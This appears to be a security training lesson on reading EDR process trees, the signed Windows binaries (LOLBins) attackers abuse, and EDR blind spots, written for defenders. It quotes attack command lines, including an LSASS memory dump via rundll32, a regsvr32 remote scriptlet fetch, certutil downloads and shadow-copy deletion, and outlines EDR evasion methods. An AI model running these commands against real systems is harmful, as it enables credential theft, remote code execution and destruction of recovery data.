Lesson 8 of 14 · 15m
EDR Process Trees and LOLBins
Reading a process ancestry chain, the signed Microsoft binaries attackers proxy through, and the places EDR can't see.
The EDR console's process tree is the closest thing triage has to a flight recorder: every process with its parent, command line, signer, hash, integrity level, image loads, network connections, and file/registry writes. Reading that tree — who spawned whom, and whether the ancestry makes sense — is the core skill. winword.exe → rundll32.exe → powershell.exe -enc <base64> is a phishing macro firing a signed-binary proxy chain: T1566 into T1218.011 into T1059.001, legible in one glance if you know what normal trees look like.
The ancestry read
Normal trees have normal parents: explorer.exe spawns user launches, services.exe spawns services, wmiprvse.exe spawns WMI providers, svchost.exe does service work, browsers spawn renderers with their own names. The indictments are ancestry that violates expectation: Office apps spawning script interpreters or shells; sqlservr.exe spawning cmd.exe (xp_cmdshell); w3wp.exe spawning anything odd (webshell on IIS); a signed binary with a temp-folder or user-profile path; parent processes with no plausible relationship. Then the modifiers: unsigned or mismatched signature, -enc/-encodedcommand flags, WindowStyle hidden, download cradles (IEX, DownloadString), command lines with junk padding.
LOLBins: the attacker's free toolkit
Living-off-the-land binaries are signed Microsoft executables with dual purposes — proxy execution, download, encode/decode — that don't trip signature detection because they are Microsoft:
rundll32— runs DLL exports;rundll32 comsvcs.dll, MiniDump <pid> out.dmp fulldumps LSASS with a Microsoft binary.regsvr32— the squiblydoo bypass:regsvr32 /s /n /u /i:http://host/file.sct scrobj.dllfetches and runs scriptlet code.mshta— executes inline VBScript/JScript and remote.htapayloads.certutil—-urlcache -split -f <url> outdownloads files;-decode/-encodereshapes payloads.bitsadmin /transfer,msbuild/installutil/regasm(inline-task compilation),cmstp,msiexec /q /i http://…,wmic process call create,schtasks,esentutl /y(copies locked files —ntds.dit, SAM),vssadmin delete shadows /all(T1490 — inhibits recovery, the ransomware opener).
The loldrivers project maintains the driver counterpart: signed-but-exploitable kernel drivers attackers bring (BYOVD) to kill EDR from kernel mode — RobbinHood ransomware did it with a vulnerable Gigabyte gdrv.sys back in 2019.
The wrong mental model
"EDR sees everything" and its cynical twin "EDR is useless" are both wrong. EDR is a recorder with a detection engine, and it has defined blind spots:
- User-mode hook bypass. Most endpoint sensors intercept API calls by hooking functions in user-mode DLLs. Direct syscalls — Hell's Gate, SysWhispers-style — skip the hooked layer entirely.
- ETW/AMSI patching.
AmsiScanBufferandEtwEventWritecan be patched in-memory in the attacker's own process so script content and telemetry never get reported. - BYOVD/kernel attacks. A legitimately signed vulnerable driver loads, then kills or blinds the sensor from ring 0.
- Egress filtering of the agent. Elastic Security Labs documented EDRSilencer in October 2024 — it uses the Windows Filtering Platform to block the EDR service's outbound connections. The host goes "quiet" in the console not because nothing happened but because the sensor can't phone home. Console silence ≠ endpoint silence.
- Fileless/memory-resident work. Reflective injection and in-memory payloads leave minimal file telemetry for the recorder to catch.
Evidence and practice
MITRE's ATT&CK Evaluations measure exactly this per-vendor: what each EDR detected, what it recorded only as telemetry, and what it missed — the difference between "detection" and "telemetry" in those results is the difference between your console alerting and merely having data you'd have to query.
The practice is corroboration. An EDR tree verdict gets checked against independent witnesses: DNS query logs, Zeek conn.log, proxy logs, the remote side's own artifacts (a DC's Security log for the claimed logon). EDR "clean" plus network telemetry that's screaming means trust the network and hunt the endpoint harder — the sensor's blind spot list is exactly where it might be wrong. And know your vendor's isolation feature before you need it: Defender's Isolate device, CrowdStrike's Network Contain, SentinelOne's Network Quarantine — network isolation while keeping sensor reach is the whole point of the feature.
Was this lesson helpful?
Keep reading
Related articles from the SudoSecurity blog.
Immich Had Fourteen Advisories and One Bug It Fixed Three Times
Immich's 2026 security record runs to fourteen advisories, and they cluster hard: the sharing features, the OAuth plumbing, and one login redirect parameter that took three separate fixes across eighty-three days. Plus the 3.0 migration traps still waiting for anyone who hasn't jumped yet.
Jellyfin's Threat Model Is Your Brother-in-Law
Four Jellyfin CVEs landed in 2026 and not one of them needs an admin account. One needs only the ability to name a file. Meanwhile Jellyfin 12 shipped in September, the version numbers stopped starting with 10, and every "am I patched" check you wrote is now wrong.
Node.js Fixed 16 Flaws in One Release. Most of Them Live in HTTP/2 and TLS.
The November 11 Node.js security releases fix 16 CVEs across the 26, 24 and 22 lines, seven of them rated high. Nearly all sit in HTTP/2 and TLS, where a remote client can crash a server, leak memory, or get past per-host client-certificate checks.
Next.js Shipped Seven Advisories and Six of Them Are the Cache
The November 2026 Next.js security release patches seven issues, and six live in the new Cache Components layer, the feature meant to make your app faster by remembering more. Three hit self-hosted next start specifically: the ones Vercel's own platform quietly absorbs.